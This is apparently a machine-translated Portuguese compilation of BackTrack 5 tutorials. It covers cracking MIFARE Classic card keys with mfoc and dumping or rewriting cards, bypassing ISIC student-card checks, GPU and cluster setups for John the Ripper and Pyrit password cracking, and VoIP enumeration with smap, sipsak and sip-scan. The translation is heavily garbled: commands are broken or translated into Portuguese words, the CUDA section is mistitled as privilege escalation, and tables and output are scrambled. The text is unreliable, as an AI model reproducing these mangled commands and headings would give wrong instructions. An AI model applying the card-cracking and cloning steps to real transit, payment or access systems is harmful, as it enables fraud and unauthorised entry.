Se o leitor é rejeitada por causa do firmware (mensagem de log: "Firmware (xy) é falso") basta desabilitar a verificação de versão. Tudo que você precisa fazer é mudar ifdDriverOptions (linha 55 em Info.plist) para ignorar a verificação de versão como esta:
root @ bt: ~ # nano / usr / lib / PCSC / drivers / IFD-ccid.bundle / Contents / Info.plist ifdDriverOptions 0 × 0005
Em seguida, reinicie o daemon pcscd e seu leitor touchatag deve ser reconhecida e pronto.
MFOC-Mifare Clássico Cracker offline Mifare Cracker clássico off-line é uma ferramenta que pode recuperar as chaves de cartões Mifare Classic. Graças a Norbert Szetei e Luptak Pavol para sua implementação ataque. MFOC é utilidade para computar (crack) todas as chaves (A e B) para todos os sectores, proporcionando pelo menos uma das teclas já é conhecido. Arquivo de Chaves é o arquivo, onde mfoc vai armazenar as chaves rachados. Formato do arquivo é compatível com NFC-mfclassic, para que você possa usá-lo para despejar o cartão no arquivo, ou escrever um depósito no cartão. root @ bt: ~ # wget http://nfc-tools.googlecode.com/files/mfoc0.10.2.tar.gz~~HEAD=NNS && tar-xvzf mfoc 0.10.2.tar.gzroot @ bt: ~ # cd mfoc-0.10.2 root @ bt: ~ ~ # autoreconf-vis root @ bt: # . / configure root @ bt: ~ # fazer root @ bt: ~ # checkinstall-D-y - instalar
0x03 - Dumping & Cooking psscd coordena o carregamento de drivers para leitores de cartões. Ele permite que aplicativos acessem os cartões inteligentes e leitores sem saber detalhes do cartão ou leitor. É um gerenciador de recursos que coordena a comunicação com leitores de cartões inteligentes e cartões inteligentes e tokens criptográficos que estão conectados ao sistema. Eu prefiro começar pcscd em primeiro plano (sem daemon) com pcscd-f.Então é hora de começar a mfoc. Use elevado número de sondas, porque o número padrão de sondas para uma chave de recuperação para um setor é de 20. Craqueamento inteiros pode levar de 30 minutos a 30 horas.
Você também pode usar o parâmetro-k-chave, para adicionar uma chave para a lista de chaves conhecidas, que vem sendo tentado contra a sua placa na fase inicial. A opção-k de alguma forma não funcionou para mim, então eu sempre compilar as minhas chaves conhecidas diretamente em Pesquisa mfoc.c para "Array com teclas padrão Mifare Classic" Não tenho certeza sobre outros países, mas no país onde eu moro chaves são as mesmas . Uma vez que você tem as chaves de todos os setores, você deve ser capaz de usar RFID-Fu contra as outras cartas, o que é épico da falha. root @ bt: ~ # nfc-mfclassic - ajuda Uso: NFC-mfclassic r | wa | b [] r | w - Execute ler (r) ou escreva para (w) cartão a | b - Use as teclas A ou B para a ação - MiFare Dump (MFD) usado para escrever (cartão de MFD) ou (MFD para o cartão) - Dump MiFare (MFD) que contém as chaves (opcional) Ou: NFC-mfclassic x x - Extrato de carga (blocos de dados) de MFD - Dump MiFare (MFD) que contém carga queria - arquivo binário onde payload será extraído
Tenha em mente que UID cartão não serão afetados (não mudou) com este processo. Comprar algum cartão em branco ou Proxmark III se é isso que você quer. Se você está pensando agora sobre o dumping sua carteira eletrônica logo depois de recarga de crédito e quando chega a zero, escrever o conteúdo de volta, então por favor não faça isso. O que você pode parar de fazer isso? Bem, provavelmente só a sua consciência, mas se o cartão é bloqueado em 24 horas após a primeira utilização, em seguida, não se queixam. Sim, há a verificação online e sistemas de faturamento lá fora para os cartões básicos.
0x04 - ISIC Edição Com ISIC-International Student atacante Bilhete de Identidade pode abusar cerca de dez serviço não apenas um. Cartões ISIC são amplamente utilizados para a entrada, transporte pagamentos, restaurantes e serviços de vários outros ou descontos. De acordo com a página inicial, há 4,5 milhões de portadores de cartões em 120 países. Cartões devem ser substituídos por outros tipos de seguros mais rápido possível. É possível fazer muito mais do que isso, mas suficiente para a demonstração vamos jogar um pouco ...
Em algumas universidades, há apenas uma verificação de segurança entrada ISIC. Como você pode ver isso é trivial para ignorar. Fizemos muitos testes com sistemas de transporte público e com os sistemas universitários. Os resultados são tudo a mesma coisa - esses sistemas são facilmente hackable.
0x06 - Conclusão Finalmente, quando as pessoas vão aprender a lição? Algoritmos criptográficos deve ser pública de modo que eles podem ser controladas e testados. Algoritmos secretos não são mais valiosos, porque eles são secretos. Qualquer pessoa que precisar de um cartão inteligente altamente seguro deve se certificar de que há segurança em camadas e não apenas depender de criptografia do chip.
0x07 - Qual é o próximo?
Desde que eu tenho acesso a Proxmark III, que é universal ferramenta de hacking RFID que pode ser usado para clonagem 100% precisas (mesmo UID), eu posso escrever uma vez sobre a segunda edição c00king com Mifare Classic e Prox HID ... Armar BackTrack com GSM ataque suite?
0x08 - Obrigado Este livro foi feito com grande ajuda dos caras h4f, muito obrigado a Vulcano e Back.
0x09 - Referências e Links Para ler mais sobre este assunto consulte a seguir:
http://www.cs.virginia.edu/ ~ kn5f/pdf/K.Nohl.PhD Implementable.Privacy.for.RFID.Systems.pdf http://events.ccc.de/congress/2007/Fahrplan/events/2378.en.html~~V http://packetstorm.rlz.cl/papers/wireless/2008-esorics.pdf http://www.nethemba.com/mifare-classic-slides.pdf http://code.google.com/p/nfc-tools/wiki/mfoc
0x0A - Sobre MI1 é um "entusiasta de segurança em tempo integral", com diploma universitário na área de informática. Recentemente, centrando a sua paixão por coisas USRP e RFID.
Escalonamento de privilégios CUDA no BackTrack 5 Este guia é um trabalho em progresso, e se destina a ajudar aqueles que precisam obter CUDA trabalhando em suas máquinas de inversas. Comece por preparar os fontes do kernel para a instalação do driver Nvidia: root @ bt: ~ # preparar-kernel-fontes root @ bt: ~ # cd / usr / src / linux root @ bt: ~ # cp-rf include / gerado / * include / linux /
Baixar drivers da Nvidia de acordo com sua arquitetura de CPU:
32 64
Verifique se você não estiver em uma sessão X (sair para o console), e execute o instalador do driver Nvidia. Em seguida, baixe o kit de ferramentas CUDA, de acordo com sua arquitetura de CPU:
32 64
Idealmente, você deve instalar o kit de ferramentas para CUDA / opt . este guia presume este caminho de instalação. Configurar as variáveis de ambiente para que o NVCC comando funciona. Você pode fazer isso adicionando as seguintes linhas no seu / root / .bashrc arquivo: PATH = $ PATH :/ opt / cuda / bin LD_LIBRARY_PATH = $ LD_LIBRARY_PATH :/ opt / cuda / lib export PATH export LD_LIBRARY_PATH
Em seguida, execute: root @ bt: ~ # source / root / .bashrc root @ bt: ~ # ldconfig
O propósito deste era fazer com que compilador NVCC instalado. Você pode verificar se tudo está configurado corretamente:
root @ bt: ~ # que NVCC / Opt / cuda / bin / NVCC root @ bt: ~ # NVCC-V NVCC: NVIDIA (R) Cuda motorista compilador Copyright (c) 2005-2011 NVIDIA Corporation Construído sobre Sun_Mar_20_16: 45:27 _PDT_2011 Ferramentas de compilação Cuda, liberação 4.0, V0.2.1221 root @ bt: ~ #
Agora que o driver da Nvidia CUDA Toolkit e estão instalados, podemos testar a sua funcionalidade com uma ferramenta de GPU alimentação, tal como pyrit. root @ bt: ~ # svn checkout http://pyrit.googlecode.com/svn/trunk/~~HEAD=NNS pyrit root @ bt: ~ # cd pyrit / pyrit && python setup.py construir && python setup.py install root @ bt: ~ # cd .. / .. / root @ bt: ~ # cd pyrit / cpyrit_cuda && python setup.py construir && python setup.py install
Executar um ponto de referência para ver se tudo funciona como esperado: root @ bt: ~ do # pyrit referência Pyrit 0.4.1-dev (SVN r308) (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com Este código é distribuído sob a v3 GNU General Public License + Referência em execução (63787.8 PMKs / s) ... \ Computadorizada 63.787,82 total de PMKs / s. # 1: 'CUDA Dispositivo-# 1 "GeForce GTX 295 :
11558.7 PMKs / s (RTT
3.0)
# 2: "CUDA-Device # 2 'GeForce GTX 295 : 10912.5 PMKs # 3: "CUDA Dispositivo # 3 'GeForce GTX 295 : 10632.1
/ s (RTT 2.9) PMKs / s (RTT
3.0)
# # # # #
4: 5: 6: 7: 8:
'CUDA-Device # 4' GeForce GTX 295 : 11654.7 PMKs "CUDA-Device # 5 'GeForce GTX 295 : 10868.9 PMKs "CUDA Device-# 6 'GeForce GTX 295 : 10322.8 PMKs 'CPU-Core (SSE2)': 500,7 PMKs / s (RTT 2,7) 'CPU-Core (SSE2)': 508.9 PMKs / s (RTT 2,8)
/ s (RTT 2.9) / s (RTT 2.9) / s (RTT 3,0)
Sucesso! Podemos agora usar ferramentas CUDA movidos a partir de dentro BackTrack.
JTR aglomerado Construindo um Cluster John the Ripper em Backtrack5 R2
Neste tutorial, vamos construir um cluster que nos ajudará a quebrar hashes usando o John the Ripper. A primeira coisa que queremos fazer é instalar libssl-dev e MPICH2 depois que configurá-lo. (Nota: secretword deve ser o mesmo em cada máquina.)
root root root root root root root root root bt root
@ @ @ @ @ @ @ @ @
bt: bt: bt: bt: bt: bt: bt: bt: bt:
~ ~ ~ ~ ~ ~ ~ ~ ~
# # # # # # # # #
apt-get install MPICH2 libssl-dev touch / etc / mpd.conf chmod 600 / etc / mpd.conf echo "secretword = bt ">> / etc / mpd.conf toque mpd.hosts echo "192.168.1.69:1" >> mpd.hosts chmod 600 mpd. Exércitos mpdboot mpdtrace
@ bt: ~ # mpdallexit
Agora vamos instalar a versão do MPI de João Ripper.
xvfz john-1.7.3.1-all-2 mpi8.tar.gzroot @ bt: ~ / Desktop/john-1.7.3.1-all-2-mpi8/src # make clean linuxx86-SSE2 root @ bt: ~ # mv-f john-1.7.3.1-all-2-mpi8 pentest / / senhas / johnmpi
Depois de instalar a versão MPI de João Ripper, configuramos o nosso arquivo / etc / hosts.
root @ bt: ~ # nano / etc / hosts 127.0.0.1 localhost 192.168.1.69 servidor 192.168.1.70 node1 # As linhas seguintes são desejáveis para hosts capazes de IPv6 Localhost :: 1 ip6-localhost ip6-loopback FE00 :: 0 ip6-localnet FF00 :: 0 ip6-mcastprefix ff02 :: 1 ip6-allnodes FF02 :: 2 ip6-allrouters
ff02 :: 3 ip6-allhosts
NOTA: Faça exatamente a mesma coisa no cliente.
Uma vez que temos o servidor ea configuração do cliente é hora de permitir que o nosso servidor SSH e transferir os arquivos de configuração do servidor para o cliente.
root @ bt: ~ # ssh [email protected] mkdir-p / root / .ssh root @ bt: ~ # . cat / root / .ssh / id_rsa.pub | ssh [email protected] >> cat 'ssh / authorized_keys ' root @ bt: ~ # scp / root / mpd.hosts [email protected] :/ root / root @ bt: ~ # scp / etc / mpd.conf [email protected] :/ etc / root @ bt: ~ # scp / etc / hosts :/ etc [email protected] /
Se iniciar o cluster devemos ver o nosso servidor e cliente.
root @ bt: ~ # mpdboot-v - file = / root / mpd.hosts-n 2 execução mpdallexit em bt LANÇADO mpd em bt via FUNCIONAMENTO: mpd em bt LANÇADO mpd em 192.168.1.70 via bt2 FUNCIONAMENTO: mpd em 192.168.1.70 root @ bt: ~ # mpdtrace bt bt2
Agora vamos testar o nosso cluster.
root @ bt: ~ # echo "admin: 21232f297a57a5a743894a0e4a801fc3"> / root / teste root @ bt: ~ # scp / root / teste [email protected] :/ root / root @ bt: ~ # host-mpiexec 192.168.1.69 - np 2 / pentest / senhas / john-mpi / run / john - formato: raw-MD5 / root / teste Hash da senha carregado 1 (Raw MD5 [raw-md5]) admin admin (admin) (admin) Tópico: 1 palpites: 1 tempo: 0:00:00:00 100% (1) c / s: 160 a tentar: admin - administradores thread: 0 palpites: 1 tempo: 0:00:00:00 100% (1) c / s: 133 a tentar: admin - administradores
Pyrit aglomerado Construindo um Cluster Pyrit Backtrack5 R2
Neste tutorial, vamos construir um cluster em Backtrack5 R2 usando Pyrit. Pyrit vem instalado por padrão no Backtrack5 R2. Se você tiver removido-lo, basta usar o apt-get install para instalá-lo. O primeiro passo para a criação de um cluster de pyrit é criar um ficheiro de configuração.
root @ bt: ~ # . mkdir ~ / pyrit root @ bt: ~ # nano ~ / .pyrit / config root @ bt: ~ # cat ~ / .pyrit / config
default_storage = file :/ / limit_ncpus = 0 rpc_announce = true rpc_announce_broadcast = false rpc_knownclients = 192.168.1.69 (Esse é o IP servidores) rpc_server = true workunit_size = 75000
Depois de ter o arquivo de configuração acima em todas as nossas máquinas, iniciar o servidor.
root @ bt: ~ # pyrit servir
Agora, a partir do cliente que você deve ser capaz de ver ambos os núcleos.
NOTA: O comando pyrit list_cores tem um bug que quando usada irá travar o servidor.
Nós podemos testar nosso cluster recém-construído usando a opção de referência pyrit.
root @ bt: ~ # referência pyrit
Se mudar para o servidor durante a execução do benchmark, podemos ver que, atualmente, um cliente está conectado.
Telefonia Este artigo foi contribuído por NightRang3r.
URL: http://www.back-track.de/index.php?page=team # smtx Twitter: ! http://twitter.com/ # / NightRang3r
E-mail: [email protected]
Penetração Teste VOIP com BackTrack VoIP é uma tecnologia interessante que fornece muitos benefícios e soluções de baixo custo para a comunicação. Mais e mais as pequenas empresas e empresas estão substituindo seus antigos sistemas de telefonia tradicional com uma mais baseadas em IP. Um PBX VoIP baseado pode fornecer muitas características tais como: várias extensões, identificador de chamadas, correio de voz, URA, capacidades de gravação de conversas, registro, uso de telefones baseados em hardware ou software based (aka soft phones). Agora dias, há muitos fornecedores de PBX, telefones IP, serviços VoIP e equipamentos, tais como: Cisco, Avaya e ASTERISK, SNOM, THOMSON ... Com a nova tecnologia vem um novo desafio para ambos os lados da defensiva e ofensiva de segurança, Um dos " grandes perigos "de linhas telefônicas tradicionais é que era suscetível à escuta. A "velha escola" maneira de escutar na linha de alguém telefone era conectar fisicamente um pequeno transmissor que estava ligado dentro ou fora de suas instalações em algum lugar ao longo do fio de telefone.
Sistemas de telefonia IP também são suscetíveis a interceptação, fazê-lo em um ambiente IP é um pouco mais difícil de executar, detectar e exigem mais
conhecimento e do conjunto certo de ferramentas. Neste artigo não vamos discutir um determinado fornecedor ou técnica, mas vamos dar uma olhada nos conceitos e as ferramentas disponíveis para atacar VoIP disponíveis para nós em Linux Backtrack . O objetivo principal deste artigo é apresentar as ferramentas e sua finalidade, a fim de ajudar você a escolher a ferramenta certa para a situação. Vamos examinar alguns vetores de ataque do mundo real e descobrir como BackTrack pode nos ajudar pentesting VoIP, vamos também analisar algumas das ferramentas que apresentam no BackTrack e seu uso.
VoIP típica Topologias Existem várias maneiras de telefonia baseada em IP podem ser implementadas, aqui estão algumas topologias comuns e uso:
Auto-Hosted Um PBX (ou seja, Asterisk) está instalado no local do cliente e conectado a um ISP ou fornecedor de serviços de telefonia PSTN através de um tronco SIP / PRI, o tráfego VoIP flui através de uma Vlan específica.
Diagrama do Visio por Amir Avraham
Hosted Services Não há necessidade de um PBX no local. Apenas um switch, um roteador, telefones IP e uma conexão com o PBX prestador de serviços via internet ou IP / VPN, cada telefone está configurado com as informações da conta SIP.
Serviço on-line SIP Serviços como sipme.me oferece um aplicativo para PC ou telefones inteligentes e uma conta SIP gratuita, oferecendo preço baixo para as chamadas internacionais e chamadas gratuitas entre os usuários do serviço, atribuindo um número pone para cada assinante.
Fundamentos SIP O papel SIP (Session Initiation Protocol) é a configuração, cancelar ou modificar uma voz ou uma chamada de vídeo, onde a voz e / ou tráfego de vídeo estão sendo realizados através de um protocolo como RTP (Protocolo de transporte em
tempo real). SIP é um protocolo de camada de aplicação que utiliza o UDP para o transporte (TCP e SCTP pode ser usado como poço).
SIP normalmente utiliza as portas 5060 TCP ou UDP para a sinalização não criptografadas ou 5061 para transporte criptografada usando TLS.
SIP é um protocolo baseado em ASCII que tem alguns elementos semelhantes, como no protocolo HTTP usando um Pedido / modelo de Resposta.Muito parecido com uma solicitação HTTP de um navegador de um pedido do cliente SIP é feita usando um URI SIP de um agente de usuário e um método / pedido. SIP usa email como formato de endereços: user / telefone domínio @ / ip A URI SIP típico se parece com: sip: [email protected], sip: [email protected], sip: [email protected]: 5060
De acordo com o pedido feito pelo cliente uma resposta será recebido com um código de status ou de erro, as tabelas seguintes descrevem os pedidos e respostas disponíveis no protocolo SIP.
Os pedidos SIP / Métodos Pedido
Descrição
CONVIDAR Usado para convidar e explicar para participar de uma sessão de chamada. ACK
Reconheça um pedido INVITE.
CANCELAR
Cancelar um pedido pendente.
CADASTRE-SE
Registre usuário com um servidor SIP.
OPÇÕES
Lista informações sobre as capacidades de um chamador.
BYE
Termina uma sessão entre dois usuários em uma chamada. Indica que o destinatário (identificado pelo URI de solicitação)
REFER
deve contactar um terceiro usando as informações fornecidas no pedido.
O método SUBSCRIBE é usado para solicitar estado atual e INSCREVA
atualizações de estado a partir de um remoto nó.
O método NOTIFY é utilizado para notificar um nó SIP que um evento NOTIFY
qual tenha sido solicitada por um método SUBSCRIBE anterior tiver ocorrido.
Um exemp lo SI P "INVI TE" Pedido : CONVIDAM SIP: [email protected] SIP/2.0 Via: SIP/2.0/UDP 192.168.1.102; rport; ramo = z9hG4bKvbxaoqar Max-Forwards: 70 Para: De: "NightRanger" ; Tag = eihgg Call-ID: hfxsabthoymshub @ backtrack CSeq: 649 INVITE Contato: Content-Type: application / sdp Permitir: INVITE, ACK, BYE, CANCEL, OPTIONS, PRACK, REFER, NOTIFY, subscrever, de mensagens informativas, Suportados: substituírem, norefersub e 100rel User-Agent: Twinkle/1.2 Content-Length: 310
As respostas SIP Resposta
Descrição
Respostas informativos, pedido recebido e estar 1xx processado.
Respostas bem sucedidas A ação foi recebida com sucesso, 2xx compreendido e aceite.
3xx
Respostas de redirecionamento Respostas falha do pedido O pedido contém erro de sintaxe ou
4xx não podem ser cumpridas no servidor.
5xx
Respostas de falha no servidor O servidor não cumpriu uma
aparentemente pedido válido.
Respostas fracasso global O pedido não pode ser cumprida em qualquer 6xx servidor.
Um exemplo SIP
" Tenta ndo " Resposta:
SIP/2.0 100 Tentando Via: SIP/2.0/UDP 192.168.1.102; ramo = z9hG4bKpmphujka; recebeu = 192.168.1.102; rport = 5060 De: "NIghtRanger" ; Tag = eihgg Para: Call-ID: hfxsabthoymshub @ backtrack CSeq: 650 INVITE User-Agent: Asterisk PBX Permitir: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Apoiado: substitui Contato: Content-Length: 0
SIP chamada entre 2 exemplos telefones
O telefone chamado envia um convite.
O telefone chamado envia uma resposta de 100 (Tentando). O telefone chamado, em seguida, começa a tocar e envia uma resposta de 180 (toque).
Quando o chamador pega o telefone o telefone chamado envia uma resposta 200 (OK). O telefone chamado envia uma resposta ACK.
Conversa começa via RTP.
Quando o chamador desliga o telefone um pedido BYE é enviado. O telefone chamado responde com 200 (OK).
Vetores de Ataque Antes de começarmos com as ferramentas, vamos dar uma olhada em alguns vetores comuns de ataques de VoIP:
Coleta de Informações Footprinting, e Enumeração. Monitoramento de tráfego e chamadas telefônicas escutas. Atacando de autenticação. VLAN Hopping. Denial of Service / Inundações. Caller ID Spoofing.
A fim de testar as ferramentas que tenho configurar um sistema de PBX TRIXBOX e criou 6 extensões. Eu vou estar usando dois softphones, 1 é cliente baseado em Linux chamado Twinkle eo segundo é um cliente baseado em Windows chamado X-Lite. Eu vou estar usando a versão mais recente e maior do Linux Backtrack que é R2. Você pode encontrar a maioria das ferramentas de ataque VoIP no Backtrack sob o título "/ pentest / voip /" diretório: root @ bt: ~ # cd / pentest / voip / root @ bt :/ pentest / voip #
Ou você pode simplesmente navegar utilizando o menu do KDE para o "Backtrack" → "Voice over IP" sub-menus:
Coleta de Informações Esta fase é onde reunimos informações sobre a topologia, os servidores e clientes para saber informações, tanto quanto podemos, a fim de lançar um ataque bem sucedido. O que estamos interessados em encontrar hospedeiros é ao vivo, tipo e versão PBX, servidores VoIP / gateways, clientes (hardware e software) tipos e versões etc ... Em vez de enumerar "usernames" estaremos enumerando extensões SIP. Vamos dar uma olhada em algumas das ferramentas que está disponível no Backtrack para nos ajudar a encontrar, identificar e enumerar os dispositivos VoIP habilitados.
SMAP Backtrack inclui uma ferramenta de grande chamado SMAP , que é um scanner simples para SIP dispositivos SMAP expulsar vários pedidos SIP aguardando respostas de SIP roteador DSL habilitado, proxies e os agentes do usuário. Poderia ser considerado um mash up de NMAP e sipsak.
Uso SMAP:
root @ bt :/ pentest / voip / smap # . / smap smap 0.6.0
http://www.wormulon.net/~~V
uso: smap [Opções] -H: esta ajuda -D: aumentar a depuração -O: permitir fingerprinting -O: permitir mais fingerprinting verbose -L: modo de aprendizagem de impressão digital -T: transporte TCP -U: transporte UDP (padrão -P0: Considera todos os anfitriões como online - host pular a descoberta de -P : Porta de destino -R : Mensagens por segundo limite da taxa de -D : Domínio SIP para usar sem levar sip: -W : Timeout em ms
Digitaliz ar um único ho st:
root @ bt :/ pentest / voip / smap # . / smap 192.168.1.104 smap 0.6.0
http://www.wormulon.net/~~V
192.168.1.104: ICMP acessível, SIP habilitado 1 host digitalizado, 1 alcançável ICMP, 1 SIP (100,0%)
Digitalizar u m in tervalo de end ereços IP:
root @ bt :/ pentest / voip / smap # . / smap 192.168.1.130/24 smap 0.6.0
http://www.wormulon.net/~~V
192.168.1.20: ICMP acessível, SIP habilitado 192.168.1.22: ICMP acessível, SIP habilitado 192.168.1.0: ICMP unreachable, SIP desativada
192.168.1.1: ICMP unreachable, SIP desativada 192.168.1.2: ICMP unreachable, SIP desativada 192.168.1.3: ICMP unreachable, SIP desativada ---- EDIT --192.168.1.250: unreachable ICMP, SIP desativada 192.168.1.251: unreachable ICMP, SIP desativada 192.168.1.252: unreachable ICMP, SIP desativada 192.168.1.253: unreachable ICMP, SIP desativada 192.168.1.254: unreachable ICMP, SIP desativada 192.168.1.255: unreachable ICMP, SIP desativada 256 hosts digitalizados, 7 alcançáveis ICMP, 2 SIP habilitados (0,8%)
Agora que identificamos os anfitriões SIP podemos usar a impressão digital SMAP o tipo de servidor / cliente e versão:
root @ bt :/ pentest / voip / smap # . / smap-O 192.168.1.104 smap 0.6.0
http://www.wormulon.net/~~V
192.168.1.104: ICMP acessível, SIP habilitado melhor palpite de impressões digitais (70% de certeza): Asterisk PBX SVN-r56579-tronco User-Agent: Asterisk PBX 1 host digitalizado, 1 alcançável ICMP, 1 SIP (100,0%)
No caso de SMAP não podia impressão digital, nosso anfitrião, usamos o argumento-l para colocá-lo no modo de aprendizagem para fornecer algumas informações úteis:
root @ bt :/ pentest / voip / smap # . / smap-l 192.168.1.104 smap 0.6.0 AVISO: AVISO: REFER, AVISO: AVISO: AVISO:
http://www.wormulon.net/~~V
test_accept: "Aceitar: application / sdp" test_allow: "Permitir: CONVIDAM, ACK, CANCEL, OPTIONS, BYE, SUBSCRIBE, NOTIFY" test_supported: "Com o apoio: substitui" test_via: capitalização de transporte: 2 test_via: "sucursal; alias; recebido; rport"
AVISO: test_via: Por favor, adicione cmpstr novo AVISO: test_via: capitalização de transporte: 2 192.168.1.104: ICMP acessível, SIP habilitado melhor palpite de impressões digitais (70% de certeza): Asterisk PBX SVN-r56579-tronco Informações de impressão digital: newmethod = 501 accept_class = 2 allow_class = 201 supported_class = 8 via_class = 2 hoe_class = ignorar opções = 200 brokenfromto 404 = PRACK = 481 de ping = 501 convidar = 200 User-Agent: Asterisk PBX 1 host digitalizado, 1 alcançável ICMP, 1 SIP (100,0%)
Outro recurso útil do SMAP é o argumento-d que permite a saída de depuração para uma verbosidade tentar usar o o-junto com ele para ver o processo de impressão digital em detalhes.
root @ bt :/ pentest / voip / smap # . / smap-d 192.168.1.104 smap 0.6.0 DEBUG: DEBUG: DEBUG: DEBUG: DEBUG:
http://www.wormulon.net/~~V
IP local: 212.235.66.182 IP local: 212.235.66.182 bind () bem-sucedida RAW socket aberto mover 1 de S_START para S_PING
DEBUG: resposta de eco ICMP de erro DEBUG: 192.168.1.104 / 1 pedido: SIP pedido OPTIONS (válido) DEBUG: resposta pertence a tarefa 1 (192.168.1.104) DEBUG: ACK: sip: localhost SIP/2.0 Via: SIP/2.0/UDP 212.235.66.182:12345; ramo = z9hG4bK.56689; alias; recebeu = 192.168.1.105; rport = 5060 De: ; Tag = 6b9ae50e67345d3b Para: ; Tag = as14262fec
Call-ID: [email protected] CSeq: 23915 ACK Content-Length: 0 User-Agent: smap 0.6.0 --- Final de ACK 192.168.1.104: ICMP acessível, SIP habilitado DEBUG: destruir a tarefa 1
1 host digitalizado, 1 alcançável ICMP, 1 SIP (100,0%)
SIPSAK SIPSAK é usado para testar aplicativos habilitados SIP e dispositivos usando o método de solicitação única opção. Podemos usá-lo para impressão digital e enumeração. Você não vai encontrar sipsak no "/ pentest / voip /" diretório, você pode executá-lo de qualquer local, basta digitar sipsak. root @ bt: ~ # sipsak sipsak 0.9.6 por Nils Ohlmeier Direitos Autorais (C) 2002-2004 Fokus FhG Copyright (C) 2004-2005 Nils Ohlmeier reportar bugs para [email protected]~~V~~HEAD=NNS disparar: sipsak [-f arquivo] [-L]-s SIPURI rastreamento: sipsak-T-s SIPURI usrloc: sipsak-U [-I | M] [-b NÚMERO] [-e NÚMERO] [-x NÚMERO] [-z NÚMERO]-s SIPURI usrloc: sipsak-I | M [-b NÚMERO] [-e NÚMERO]-s SIPURI usrloc: sipsak-U [-C SIPURI] [-x NÚMERO]-s SIPURI mensagem: sipsak-M [B-STRING] [-O STRING] [-c SIPURI]-s SIPURI inundação: sipsak-F [-e NÚMERO]-s SIPURI aleatória: sipsak-R [-t NÚMERO]-s SIPURI parâmetro adicional em todos os modos: [-A PASSWORD] [-d] [-i] [-H HOSTNAME] [-l PORT] [-m NÚMERO] [-n] [N] [PORT-r] [-v] [-V] [-w] -H exibe esta mensagem de ajuda V-string da versão impressa só -F file O arquivo que contém a mensagem SIP para enviar usar - para a entrada padrão L-de-activate CR (\ r) inserção em arquivos -S SIPURI o URI do servidor de destino em forma sip: [user @] servername [: port] -T activa o modo de traceroute
-U activa o modo de usrloc -Eu simula algumas chamadas bem-sucedidas com si -M envia mensagens para si -C SIPURI usar o uri dada como contato em REGISTER -B NÚMERO o apêndice número inicial para o nome de usuário (padrão: 0) NÚMERO-e o numer final do apêndice do nome de usuário -O número NÚMERO sono ms antes de enviar a próxima requisição -X NÚMERO expira o cabeçalho campo valor (default: 15) -Z NÚMERO ativa aleatoriamente remoção de ligações de usuários -F activa o modo de inundação -R ativa as modues aleatórios (perigoso) -T NÚMERO o número máximo de caracteres na lixeira em modo aleatório (Default: comprimento pedido) -L PORT a porta local para usar (padrão: qualquer) -R PORT a porta remota para usar (padrão: 5060) -P-alvo pedido HOSTNAME (proxy de saída) -H HOSTNAME substitui o nome do host local em todos os cabeçalhos -M NÚMERO o valor para o campo de cabeçalho max-encaminha -N usar FQDN em vez de IPs na Via-Line -I desactivar a inserção de uma Via-Line -Uma senha senha para autenticação (Se omitido senha = "") -U username autenticação STRING -D ignorar redirecionamentos -V cada v produz mais de verbosidade (máx. 3) -W IP extrato do aviso de resposta -G substituição de string para uma marca especial na mensagem -G activa substituição de variáveis -N retorna códigos de saída compatível com Nagios -Q busca STRING para um RegExp em respostas e retorno de erro em caso de falha -W NÚMERO retorno aviso Nagios se retrans número> B-STRING enviar uma mensagem com a corda como corpo -O valor STRING Content-Disposition -P Number Número de processos para iniciar -Um número NÚMERO dos testes de impressão e apenas timings -S usar mesma porta para receber e enviar -C SIPURI usar o uri dada como em De MENSAGEM -D multiplicador tempo limite para transações NÚMERO INVITE e transportes confiáveis (padrão: 64) -E STRING especificar o transporte para ser utilizado -J STRING adiciona cabeçalhos adicionais para o pedido
Aqui está um exemplo para utilizar a impressão digital sipsak um dispositivo SIP Podemos ver no resultado que o dispositivo que consultado é uma Audiocodes MP-114 FXS gateway.
root @ bt: ~ # sipsak-vv-s sip: 192.168.1.221 mensagem recebida: SIP/2.0 200 OK Via: SIP/2.0/UDP 127.0.1.1:51601; ramo = z9hG4bK.18a1b21f; rport; apelido De: SIP: [email protected]: 51601; tag = 97ac9e5 Para: sip: 192.168.1.221; tag = 1c1785761661 Call-ID: [email protected] CSeq: 1 OPÇÕES Contato: Apoiado: em, 100rel, timer, substitui, caminho, recurso prioridade Permitir: CADASTRE-SE, OPÇÕES, INVITE, ACK, CANCEL, BYE, notificar, PRACK, REFER, INFO, INSCREVA, UPDATE Servidor: Audiocodes-Sip-Gateway-MP-114 FXS/v.5.40A.040.005 X-Recursos: telchs = 4/0; mediachs = 0/0 Accept: application / sdp, application / simples mensagem de resumomensagem, / sipfrag Content-Type: application / sdp Content-Length: 343 v = 0 o = 1785763980 1785763858 AudiocodesGW IN IP4 192.168.1.221 s = telefonema c = IN IP4 192.168.1.221 t = 0 0 m = audio 6000 RTP / AVP 18 8 0 127 a = rtpmap: 18 G729/8000 a = fmtp: 18 annexb = no a = rtpmap: 8 PCMA/8000 a = rtpmap: 0 PCMU/8000 a = rtpmap: 127 telephone-event/8000 a = fmtp: 127 0-15 um ptime =: 20 um sendrecv = uma RTCP =: 6001 IN IP4 192.168.1.221
Responder ** recebidas após 67,923 ms ** SIP/2.0 200 OK final recebida
SIPScan Sip-scan é um scanner simples para os anfitriões SIP pode digitalizar um único host ou uma sub-rede inteira. Sip- scan us o:
root @ bt :/ pentest / voip / sipscan # / sip-scan -. ajudar . / Sip-scan versão [desconhecido] chamado Getopt :: Std :: getopts (versão 1.05), execução em Perl versão 5.10.0. Uso: SIP-scan [options] -V ser detalhada. Ip-i | se Interface / IP para SIP-headers (padrão: IP da ppp0) -P porta porta remota para digitalizar. (Default: 5060) -L srcem porta local de pacotes. (Default: 5060) -Dn [p] Espere n ms após cada pacote enviado (padrão: 50ms) ou se 'p' é dado, enviar pacotes por segundo (n default: 20) Espera-wn n ms de respostas remanescentes (padrão: 2000ms) Rede de especificação contém o curinga * ou nm intervalos.
Dig ita liza ção d e um a su b -red e:
